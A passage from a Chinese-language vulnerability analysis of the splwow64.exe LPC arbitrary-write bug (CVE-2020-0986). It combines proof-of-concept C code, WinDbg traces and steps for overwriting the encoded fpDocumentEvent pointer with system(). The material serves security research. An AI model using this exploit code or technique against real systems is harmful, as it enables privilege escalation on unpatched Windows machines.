PORT_MESSAGE LpcRequest;
PORT_MESSAGE LpcReply;
NTSTATUS(NTAPI* NtOpenProcessToken)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_Out_ PHANDLE TokenHandle
);
NTSTATUS(NTAPI* ZwQueryInformationToken)(
_In_ HANDLE TokenHandle,
_In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
_Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation,
_In_ ULONG TokenInformationLength,
_Out_ PULONG ReturnLength
);
NTSTATUS(NTAPI* NtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
NTSTATUS(NTAPI* ZwSecureConnectPort)(
_Out_ PHANDLE PortHandle,
_In_ PUNICODE_STRING PortName,
_In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,
_Inout_opt_ PPORT_VIEW ClientView,
_In_opt_ PSID Sid,
_Inout_opt_ PVOID ServerView,
_Out_opt_ PULONG MaxMessageLength,
_Inout_opt_ PVOID ConnectionInformation,
_Inout_opt_ PULONG ConnectionInformationLength
);
NTSTATUS(NTAPI* NtRequestWaitReplyPort)(
IN HANDLE PortHandle,
IN PPORT_MESSAGE LpcRequest,
OUT PPORT_MESSAGE LpcReply
);
int Init()
{
HMODULE ntdll = GetModuleHandleA("ntdll");
NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken");
if (NtOpenProcessToken == NULL)
{
return 0;
}
ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken");
if (ZwQueryInformationToken == NULL)
{
return 0;
}
NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection");
if (NtCreateSection == NULL)
{
return 0;
}
ZwSecureConnectPort = (NTSTATUS(NTAPI*) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll, "ZwSecureConnectPort");
if (ZwSecureConnectPort == NULL)
{
return 0;
}
NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort");
if (NtRequestWaitReplyPort == NULL)
{
return 0;
}
return 1;
}
int GetPortName(PUNICODE_STRING DestinationString)
{
void* tokenHandle;
DWORD sessionId;
ULONG length;
int tokenInformation[16];
WCHAR dst[256];
memset(tokenInformation, 0, sizeof(tokenInformation));
ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
memset(dst, 0, sizeof(dst));
if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle)
|| ZwQueryInformationToken(tokenHandle, TokenStatistics, tokenInformation, 0x38u, &length))
{
return 0;
}
wsprintfW(
dst,
L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",
sessionId,
tokenInformation[2],
tokenInformation[3],
0x2000);
printf("name: %ls\n", dst);
RtlInitUnicodeString(DestinationString, dst);
return 1;
}
HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
{
HANDLE sectionHandle = 0;
HANDLE portHandle = 0;
union _LARGE_INTEGER maximumSize;
maximumSize.QuadPart = 0x20000;
if (0 != NtCreateSection(§ionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {
return 0;
}
if (sectionHandle)
{
ClientView.SectionHandle = sectionHandle;
ClientView.Length = 0x30;
ClientView.ViewSize = 0x9000;
int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);
if(retval){
return 0;
}
}
return portHandle;
}
PVOID PrepareMessage()
{
memset(&LpcRequest, 0, sizeof(LpcRequest));
LpcRequest.MessageHeader.DataSize = 0x20;
LpcRequest.MessageHeader.MessageSize = 0x48;
LpcRequest.MsgSendLen = 0x88;
LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
LpcRequest.MsgReplyLen = 0x10;
LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
*(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event)
*((UINT64*)ClientView.ViewBase + 3) = (UINT64)ClientView.ViewRemoteBase + 0x100; //First arg to FindPrinterHandle
*((UINT64*)ClientView.ViewBase + 4) = 0x500000005; // 2nd arg to FindPrinterHandle
*((UINT64*)ClientView.ViewBase + 7) = 0x2000000001; //iEsc argument to DocumentEvent
*((UINT64*)ClientView.ViewBase + 0xA) = (UINT64)ClientView.ViewRemoteBase + 0x800; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
*((UINT64*)ClientView.ViewBase + 0xB) = (UINT64)ClientView.ViewRemoteBase + 0x840; //Destination of memcpy
*((UINT64*)ClientView.ViewBase + 0x28) = (UINT64)ClientView.ViewRemoteBase + 0x160;
*((UINT64*)ClientView.ViewBase + 0x2D) = 0x500000005;
*((UINT64*)ClientView.ViewBase + 0x2E) = (UINT64)ClientView.ViewRemoteBase + 0x200;
*((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
*((UINT64*)ClientView.ViewBase + 0x100) = (UINT64)ClientView.ViewRemoteBase + 0x810;
return ClientView.ViewBase;
}
void DebugWrite()
{
printf("Copy from 0x%llX to 0x%llX (0x%llX bytes)\n", *((UINT64*)ClientView.ViewBase + 0x100), *((UINT64*)ClientView.ViewBase + 0xB), *((UINT64*)ClientView.ViewBase + 0x10A) >> 48);
}
bool WriteData(HANDLE portHandle, UINT64 offset, UCHAR* buf, UINT64 size)
{
*((UINT64*)ClientView.ViewBase + 0xB) = offset;
*((UINT64*)ClientView.ViewBase + 0x10A) = size << 48;
memcpy(ClientView.ViewBase + 0x810, buf, size);
DebugWrite();
return NtRequestWaitReplyPort(portHandle, &LpcRequest, &LpcReply) == 0;
}
int main()
{
Init();
CHAR Path[0x100];
GetCurrentDirectoryA(sizeof(Path), Path);
PathAppendA(Path, "CreateDC.exe");
if (!(PathFileExistsA(Path)))
{
return 0;
}
WinExec(Path, 0);
CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);
UNICODE_STRING portName;
if (!GetPortName(&portName))
{
return 0;
}
HANDLE portHandle = CreatePortSharedBuffer(&portName);
if (!(portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
{
return 0;
}
PrepareMessage();
printf("Press [Enter] to continue . . .");
fflush(stdout);
getchar();
UINT64 value = 0;
if (!WriteData(portHandle, 0x4141414141414141, (UCHAR*)&value, 8))
{
return 0;
}
printf("Done\n");
return 0;
}
## POC分析
一个简单的LPC通信，有以下几个步骤：
1. Server指定一个端口名，并创建端口
2. Server监听创建的端口
3. Client连接Server创建的端口
4. Server接受Client连接请求并完成连接
5. Client发送请求报文，并等待Server响应
6. Server接受请求报文并响应
在LPC通信过程中，如果报文较大，通信双方就会采用共享内存区的方式交换数据，但会通过报文进行协调同步。
LPC通信流程如下图所示（图片源自 @iamelli0t 师傅在看雪SDC的演讲PPT ）
更多LPC相关内容，请自行查阅，本文不做详述。
目前已知的是通过NtRequestWaitReplyPort发送LPC消息到splwow64.exe进程后，由splwow64!TLPCMgr::ProcessRequest对LPC消息进行处理，所以对splwow64!TLPCMgr::ProcessRequest下断。
0:009> bu splwow64!TLPCMgr::ProcessRequest
0:009> bu gdi32full!GdiPrinterThunk
0:009> g
Breakpoint 0 hit
splwow64!TLPCMgr::ProcessRequest:
00007ff7`0bf176ac 48895c2418 mov qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90
0:007> r
rax=0000000000000000 rbx=0000000000d7ca90 rcx=0000000000d756f0
rdx=0000000000d7cac0 rsi=0000000000d7cac0 rdi=0000000000d786a0
rip=00007ff70bf176ac rsp=000000000279f3c8 rbp=0000000000b6a478
r8=000000000279f328 r9=0000000000b6a478 r10=0000000000000000
r11=0000000000000244 r12=000000007ffe03b0 r13=000000000000022c
r14=0000000000d78778 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
splwow64!TLPCMgr::ProcessRequest:
00007ff7`0bf176ac 48895c2418 mov qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90
rdx=0000000000d7cac0 即为LpcRequest
IDA反汇编 TLPCMgr::ProcessRequest
windbg调试上图所示代码
0:007>
splwow64!TLPCMgr::ProcessRequest+0x6e:
00007ff7`0bf1771a 66833f20 cmp word ptr [rdi],20h ds:00000000`00d7cac0=0020
0:007>
splwow64!TLPCMgr::ProcessRequest+0x72:
00007ff7`0bf1771e 418bef mov ebp,r15d
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x75:
00007ff7`0bf17721 418bdf mov ebx,r15d
0:007>
splwow64!TLPCMgr::ProcessRequest+0x78:
00007ff7`0bf17724 41be57000000 mov r14d,57h
0:007>
splwow64!TLPCMgr::ProcessRequest+0x7e:
00007ff7`0bf1772a 7523 jne splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0]
0:007>
splwow64!TLPCMgr::ProcessRequest+0x80:
00007ff7`0bf1772c 4d397d48 cmp qword ptr [r13+48h],r15 ds:00000000`00d75738={GDI32!GdiPrinterThunk (00007ffa`c8e48eb0)} //判断GDI32!GdiPrinterThunk指针
0:007>
splwow64!TLPCMgr::ProcessRequest+0x84:
00007ff7`0bf17730 741d je splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x86:
00007ff7`0bf17732 8b5f28 mov ebx,dword ptr [rdi+28h] ds:00000000`00d7cae8=00000088
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x89:
00007ff7`0bf17735 8d43f0 lea eax,[rbx-10h]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x8c:
00007ff7`0bf17738 3defff0f00 cmp eax,0FFFEFh
0:007> r eax
eax=78
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x91:
00007ff7`0bf1773d 0f8737030000 ja splwow64!TLPCMgr::ProcessRequest+0x3ce (00007ff7`0bf17a7a) [br=0]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x97:
00007ff7`0bf17743 8bcb mov ecx,ebx
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x99:
00007ff7`0bf17745 e8de430000 call splwow64!operator new[] (00007ff7`0bf1bb28)
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x9e:
00007ff7`0bf1774a 488bf0 mov rsi,rax
0:007> r
rax=0000000000d785e0 rbx=0000000000000088 rcx=000000007ffe0380
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000d7cac0
rip=00007ff70bf1774a rsp=000000000279f2e0 rbp=0000000000000000
r8=0000000000000000 r9=0000000000000001 r10=0000000000d70000
r11=000000000279f250 r12=00007ff70bf22048 r13=0000000000d756f0
r14=0000000000000057 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
splwow64!TLPCMgr::ProcessRequest+0x9e:
00007ff7`0bf1774a 488bf0 mov rsi,rax
上面的代码主要做了三件事，先判断LpcRequest.MessageHeader.DataSize是否为0x20，接着判断GDI32!GdiPrinterThunk函数指针是否存在，如果都存在，取LpcRequest.MsgSendLen的值0x88给EBX，然后调用splwow64!operator
new 在splwow64.exe进程空间内分配了一块0x88大小的内存空间，接下来我们称这块空间为InputBuffer。
继续看IDA的反汇编代码
首先进行了复制操作，从LPC通信使用的共享内存复制数据到InPutBuffer中，然后取出LpcRequest.PtrMsgReply
的值给v9，接着取出LpcRequest.MsgReplyLen的值给v10，最后取出
LpcRequest.MessageHeader.MessageType的值给
v11。接下来判断v11、v12的值，这里对v11、v12值的判断结果会影响程序流程是否进入存在漏洞的函数。因为v11和v12的值都是从LpcRequest中得到的，所以我们可以通过控制LpcRequest，让程序按照我们预期的流程走，也就是进入gdi32!GdiPrinterThunk函数，在gdi32!GdiPrinterThunk中又调了gdi32full!GdiPrinterThunk函数。
windbg调试上面这块代码
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xa1:
00007ff7`0bf1774d eb30 jmp splwow64!TLPCMgr::ProcessRequest+0xd3 (00007ff7`0bf1777f)
0:007>
splwow64!TLPCMgr::ProcessRequest+0xd3:
00007ff7`0bf1777f 4885f6 test rsi,rsi
0:007>
splwow64!TLPCMgr::ProcessRequest+0xd6:
00007ff7`0bf17782 0f84eb020000 je splwow64!TLPCMgr::ProcessRequest+0x3c7 (00007ff7`0bf17a73) [br=0]
0:007>
splwow64!TLPCMgr::ProcessRequest+0xdc:
00007ff7`0bf17788 4c8b4730 mov r8,qword ptr [rdi+30h] ds:00000000`00d7caf0=0000000000d20000
0:007>
splwow64!TLPCMgr::ProcessRequest+0xe0:
00007ff7`0bf1778c 488bce mov rcx,rsi
0:007>
splwow64!TLPCMgr::ProcessRequest+0xe3:
00007ff7`0bf1778f 8bd3 mov edx,ebx
0:007>
splwow64!TLPCMgr::ProcessRequest+0xe5:
00007ff7`0bf17791 448bcb mov r9d,ebx
0:007>
splwow64!TLPCMgr::ProcessRequest+0xe8:
00007ff7`0bf17794 ff1506720000 call qword ptr [splwow64!_imp_memcpy_s (00007ff7`0bf1e9a0)] ds:00007ff7`0bf1e9a0={msvcrt!memcpy_s (00007ffa`c8fcd0e0)}
0:007> r
rax=0000000000d785e0 rbx=0000000000000088 rcx=0000000000d785e0
rdx=0000000000000088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf17794 rsp=000000000279f2e0 rbp=0000000000000000
r8=0000000000d20000 r9=0000000000000088 r10=0000000000d70000
r11=000000000279f250 r12=00007ff70bf22048 r13=0000000000d756f0
r14=0000000000000057 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
splwow64!TLPCMgr::ProcessRequest+0xe8:
00007ff7`0bf17794 ff1506720000 call qword ptr [splwow64!_imp_memcpy_s (00007ff7`0bf1e9a0)] ds:00007ff7`0bf1e9a0={msvcrt!memcpy_s (00007ffa`c8fcd0e0)}
rcx、rdx、r8、r9分别为memcpy_s的四个参数，rcx指向InputBuffer，rdx和r9为size。
r8指向用于LPC通信的共享内存
复制到InputBuffer的数据
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xee:
00007ff7`0bf1779a 4c8b6740 mov r12,qword ptr [rdi+40h] ds:00000000`00d7cb00=0000000000d20088
0:007> dq rcx l11
00000000`00d785e0 0000006d`00000000 00000000`00000000
00000000`00d785f0 00000000`00000000 00000000`00d20100
00000000`00d78600 00000005`00000005 00000000`00000000
00000000`00d78610 00000000`00000000 00000020`00000001
00000000`00d78620 00000000`00000000 00000000`00000000
00000000`00d78630 00000000`00d20800 41414141`41414141
00000000`00d78640 00000000`00000000 00000000`00000000
00000000`00d78650 00000000`00000000 00000000`00000000
00000000`00d78660 00000000`00000000
接着给v9，v10，v11赋值
0:007> r rdi
rdi=0000000000d7cac0 //PORT_MESSAGE
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xee:
00007ff7`0bf1779a 4c8b6740 mov r12,qword ptr [rdi+40h]
//r12 为 V9 = PtrMsgReply ds:00000000`00d7cb00=0000000000d20088
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xf2:
00007ff7`0bf1779e 448b7738 mov r14d,dword ptr [rdi+38h]
//r14d 为 v10 = MsgReplyLen ds:00000000`00d7caf8=00000010
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xf6:
00007ff7`0bf177a2 0fb75f04 movzx ebx,word ptr [rdi+4] ds:00000000`00d7cac4=0001
//ebx 为 v11 = MessageType
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xfa:
00007ff7`0bf177a6 488b0d9ba80000 mov rcx,qword ptr [splwow64!WPP_GLOBAL_Control (00007ff7`0bf22048)] ds:00007ff7`0bf22048={splwow64!WPP_MAIN_CB (00007ff7`0bf22708)}
0:007> r
rax=0000000000000000 rbx=0000000000000001 rcx=0000000000d785e0
rdx=fffffffffffa7a20 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf177a6 rsp=000000000279f2e0 rbp=0000000000000000
r8=0000000000000000 r9=0000000000000000 r10=0000000000d70000
r11=0000000000d785e0 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
splwow64!TLPCMgr::ProcessRequest+0xfa:
00007ff7`0bf177a6 488b0d9ba80000 mov rcx,qword ptr [splwow64!WPP_GLOBAL_Control (00007ff7`0bf22048)] ds:00007ff7`0bf22048={splwow64!WPP_MAIN_CB (00007ff7`0bf22708)}
经过一系列的判断后，程序最终进入了gdi32full!GdiPrinterThunk，且传入的三个参数为：InputBuffer、PtrMsgReply和MsgReplyLen。
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1ec:
00007ff7`0bf17898 458bc6 mov r8d,r14d
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1ef:
00007ff7`0bf1789b 498bd4 mov rdx,r12
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1f2:
00007ff7`0bf1789e 488bce mov rcx,rsi
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1f5:
00007ff7`0bf178a1 ff15e9720000 call qword ptr [splwow64!_guard_dispatch_icall_fptr (00007ff7`0bf1eb90)] ds:00007ff7`0bf1eb90={ntdll!LdrpDispatchUserCallTarget (00007ffa`c946c590)}
0:007> r
rax=00007ffac8e48eb0 rbx=0000000000000000 rcx=0000000000d785e0
rdx=0000000000d20088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf178a1 rsp=000000000279f2e0 rbp=0000000000000000
r8=0000000000000010 r9=0000000000000000 r10=0000000000d70000
r11=0000000000d785e0 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
splwow64!TLPCMgr::ProcessRequest+0x1f5:
00007ff7`0bf178a1 ff15e9720000 call qword ptr [splwow64!_guard_dispatch_icall_fptr (00007ff7`0bf1eb90)] ds:00007ff7`0bf1eb90={ntdll!LdrpDispatchUserCallTarget (00007ffa`c946c590)}
..................................................
0:007> p
ntdll!LdrpDispatchUserCallTarget+0x7:
00007ffa`c946c597 4c8bd0 mov r10,rax
0:007> ln rax
Browse module
Clear breakpoint 2
(00007ffa`c8e48eb0) GDI32!GdiPrinterThunk | (00007ffa`c8e48ebc) GDI32!_imp_load_GdiProcessSetup
Exact matches:
0:007> p
ntdll!LdrpDispatchUserCallTarget+0xa:
00007ffa`c946c59a 49c1ea09 shr r10,9
0:007>
ntdll!LdrpDispatchUserCallTarget+0xe:
00007ffa`c946c59e 4f8b1cd3 mov r11,qword ptr [r11+r10*8] ds:00007ff5`d81a9238=8888888888888888
0:007>
ntdll!LdrpDispatchUserCallTarget+0x12:
00007ffa`c946c5a2 4c8bd0 mov r10,rax
0:007> ln rax
Browse module
Clear breakpoint 2
(00007ffa`c8e48eb0) GDI32!GdiPrinterThunk | (00007ffa`c8e48ebc) GDI32!_imp_load_GdiProcessSetup
Exact matches:
.............................................
0:007> p
Breakpoint 1 hit
gdi32full!GdiPrinterThunk:
00007ffa`c71a59b0 48895c2410 mov qword ptr [rsp+10h],rbx ss:00000000`0279f2e8=0000000000d785e0
0:007> r
rax=00007ffac8e48eb0 rbx=0000000000000000 rcx=0000000000d785e0
rdx=0000000000d20088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ffac71a59b0 rsp=000000000279f2d8 rbp=0000000000000000
r8=0000000000000010 r9=0000000000000000 r10=00000fff591c91d7
r11=8888888888888888 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0 nv up ei pl nz na po cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000207
gdi32full!GdiPrinterThunk:
00007ffa`c71a59b0 48895c2410 mov qword ptr [rsp+10h],rbx ss:00000000`0279f2e8=0000000000d785e0
进入gdi32full!GdiPrinterThunk函数后，先获取索引值，因为不同的索引值，会被不同的函数处理。索引值为位于InputBuffer+0x4处的DWORD。
下面是我们期望进入的处理函数，可以看出，当Fun_Index为0x6D，就可以进入我们期望的代码块。
在进入触发漏洞的代码Memcpy前，还要经过4个if判断和一个Decode函数。
这4个if判断的值，都可以被我们直接或间接控制，所以程序最终会来到漏洞函数Memcpy，且三个参数：目的地址、源地址、大小都可以被我们控制，所以这里实现了一个在splwow64进程空间内的
Write What Where Primitive
。Decode函数的作用是对Encode的DocumentEvent指针进行解码，也就是对fpDocumentEvent指针进行解码，从而得到真实的函数指针。
0:007>
gdi32full!GdiPrinterThunk+0x2ac:
00007ffa`c71a5c5c 488b0d85d51300 mov rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=7ec611be0000fff5
0:007> p
gdi32full!GdiPrinterThunk+0x2b3:
00007ffa`c71a5c63 48ff1536960a00 call qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)}
0:007> p
gdi32full!GdiPrinterThunk+0x2ba:
00007ffa`c71a5c6a 0f1f440000 nop dword ptr [rax+rax]
0:007> ln rax
Browse module
Set bu breakpoint
(00007ffa`b1328f80) WINSPOOL!DocumentEvent | (00007ffa`b132939c) WINSPOOL!CallDrvDocumentEvent
Exact matches:
WINSPOOL!DocumentEvent (void)
0:007>
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33)
0:007> r
rax=0000000000d20800 rbx=0000000000d20160 rcx=4141414141414141
rdx=0000000000d20810 rsi=0000000000d20088 rdi=0000000000d785e0
rip=00007ffac71c56fa rsp=000000000279f210 rbp=000000000279f279
r8=0000000000000008 r9=0000000000000100 r10=00000fff5920c6c0
r11=000000000279f0e0 r12=0000000000000000 r13=0000000000000001
r14=0000000000000010 r15=0000000000000000
iopl=0 nv up ei ng nz ac po cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33)
## 漏洞利用
通过上面对POC的分析，我们得到了如下信息。
1. 传入splwow64.exe进程的LPC消息，我们可以自由构造，所以我们可以控制程序流程每次都走到DocumentEvent函数。
2. 我们拥有一个任意地址写的原语。
参考[卡巴斯基](https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/)的分析文章，我们知道fpDocumentEvent函数指针是被编码过的值，且每一次编码得到的值都不同，这取决于当前的Cookie值。
__int64 __fastcall RtlEncodePointer(__int64 a1)
{
__int64 v1; // rax
__int64 v2; // rbx
unsigned int v4; // eax
unsigned int v5; // [rsp+48h] [rbp+10h]
v1 = (unsigned int)`RtlpGetCookieValue'::`2'::CookieValue;
v2 = a1;
if ( !`RtlpGetCookieValue'::`2'::CookieValue )
{
v4 = NtQueryInformationProcess(-1i64, 36i64, &v5);
if ( (v4 & 0x80000000) != 0 )
RtlRaiseStatus(v4);
v1 = v5;
`RtlpGetCookieValue'::`2'::CookieValue = v5;
}
return __ROR8__(v2 ^ v1, v1 & 0x3F);
}
在splwow64.exe中，每一次执行DocumentEvent时，都先将fpDocumentEvent进行解码，从而得到原始的DocumentEvent函数指针，然后再进行调用，而fpDocumentEvent位于splwow64.exe进程的.data
段，也就是说fpDocumentEvent指针的偏移是确定的。
同时我们知道一个事实， Windows 系统上的地址空间布局随机化是基于引导的
，也就说当系统启动后，系统DLL的基址就不会改变，直到下次重启系统，所以在EXP中通过手动加载gdi32full.dll，就可以知道当前fpDocumentEvent指针的实际地址。
那么漏洞利用的思路就是，利用任意地址写的原语，将我们想要调用的函数指针，例如system函数指针，替换fpDocumentEvent函数指针，因为DocumentEvent函数在特定索引值的情况下，每次都会被调用，所以当我们替换成功后，实际调用的函数即为system。
漏洞利用简述步骤：
1.在调试环境下，确定fpDocumentEvent函数指针偏移，这里称为fpDocOffset。
2.在漏洞利用程序中，手动加载gdi32full.dll和winspool.drv，分别获得gdi32full.dll的BaseAddress和DocumentEvent函数指针。
3.发送LPC消息到splwow64.exe，获得BaseAddress+fpDocOffset地址处的fpDocumentEvent函数指针。
4.目前我们已经得到了fpDocumentEvent函数指针和DocumentEvent函数指针，也就是编码前后的函数指针，所以我们可以计算出编码所用的Cookie值，计算公式如下。(源自
@iamelli0t 师傅在看雪SDC的演讲PPT )
UINT64 CalcCookie(UINT64 encodePtr, UINT64 decodePtr)
{
UINT cookie = 0;
for (UINT i = 0; i <= 0x3f; i++)
{
cookie = (UINT)decodePtr ^ __ROL8__(encodePtr, i & 0x3F);
if ((cookie & 0x3f) == i && __ROR8__(decodePtr ^ cookie, cookie & 0x3f) == encodePtr) {
break;
}
}
return cookie;
}
5.通过第四步得到的Cookie值，编码system函数指针，这里我们称编码后的值为fpSystem，编码公式如下。（源自[卡巴斯基](https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/)博客 ）
UINT64 encodePtr = __ROR8__(cookie ^ (UINT64)systemAdd, cookie & 0x3f);
6.继续发送LPC消息，通过共享内存，将fpSystem函数指针填充到BaseAddress+fpDocOffset地址处。
7.最后再发送一次特定索引值的LPC消息，同时在LPC消息中包含system函数的参数。
下面我们通过调试看看具体的流程
1.从splwow64.exe进程空间获取fpDocumentEvent函数指针到共享内存
0:006>
gdi32full!GdiPrinterThunk+0x2ac:
00007ffa`c71a5c5c 488b0d85d51300 mov rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=07ffa3f668d74000
0:006> ln 00007ffa`c72e31e8
Browse module
Set bu breakpoint
(00007ffa`c72e31e8) gdi32full!fpDocumentEvent | (00007ffa`c72e31f0) gdi32full!fpQuerySpoolMode
Exact matches:
0:006> p
gdi32full!GdiPrinterThunk+0x2b3:
00007ffa`c71a5c63 48ff1536960a00 call qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)}
.........................................................
.........................................................
0:006>
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33)
0:006> r
rax=0000000000a20800 rbx=0000000000a20160 rcx=0000000000a20060
rdx=00007ffac72e31e8 rsi=0000000000a20088 rdi=0000000000cdca80
rip=00007ffac71c56fa rsp=000000000267f280 rbp=000000000267f2e9
r8=0000000000000008 r9=0000000000000100 r10=00000fff5920c6c0
r11=000000000267f150 r12=0000000000000000 r13=0000000000000001
r14=0000000000000010 r15=0000000000000000
iopl=0 nv up ei ng nz ac po cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33)
0:006> p
gdi32full!GdiPrinterThunk+0x1fd4f:
00007ffa`c71c56ff 90 nop
0:006> dq 00000000`00a20060 l2
00000000`00a20060 07ffa3f6`68d74000 00000000`00000000
2.将编码后fpSystem填充到BaseAddress+fpDocOffset地址处。
0:006>
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33)
0:006> r
rax=0000000000a20800 rbx=0000000000a20160 rcx=00007ffac72e31e8
rdx=0000000000a20810 rsi=0000000000a20088 rdi=0000000000cdca80
rip=00007ffac71c56fa rsp=000000000267f280 rbp=000000000267f2e9
r8=0000000000000008 r9=0000000000000100 r10=00000fff5920c6c0
r11=000000000267f150 r12=0000000000000000 r13=0000000000000001
r14=0000000000000010 r15=0000000000000000
iopl=0 nv up ei ng nz ac po cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33)
0:006> dq 00007ffac72e31e8
00007ffa`c72e31e8 07ffa3f6`68d74000 07ffa3f6`03994000
00007ffa`c72e31f8 07ffa3f6`038b4000 07ffa3f6`6adf4000
00007ffa`c72e3208 07ffa3f6`03a54000 07ffa3f6`0d254000
00007ffa`c72e3218 07ffa3f6`0b0f4000 07ffa3f6`06d94000
00007ffa`c72e3228 00080000`00000000 07ffa3f6`695f4000
00007ffa`c72e3238 07ffa3f6`09a04000 07ffa3f6`6fd14000
00007ffa`c72e3248 00000000`00000000 00000000`00000000
00007ffa`c72e3258 00000000`00000000 ffffffff`ffffffff
0:006> p
gdi32full!GdiPrinterThunk+0x1fd4f:
00007ffa`c71c56ff 90 nop
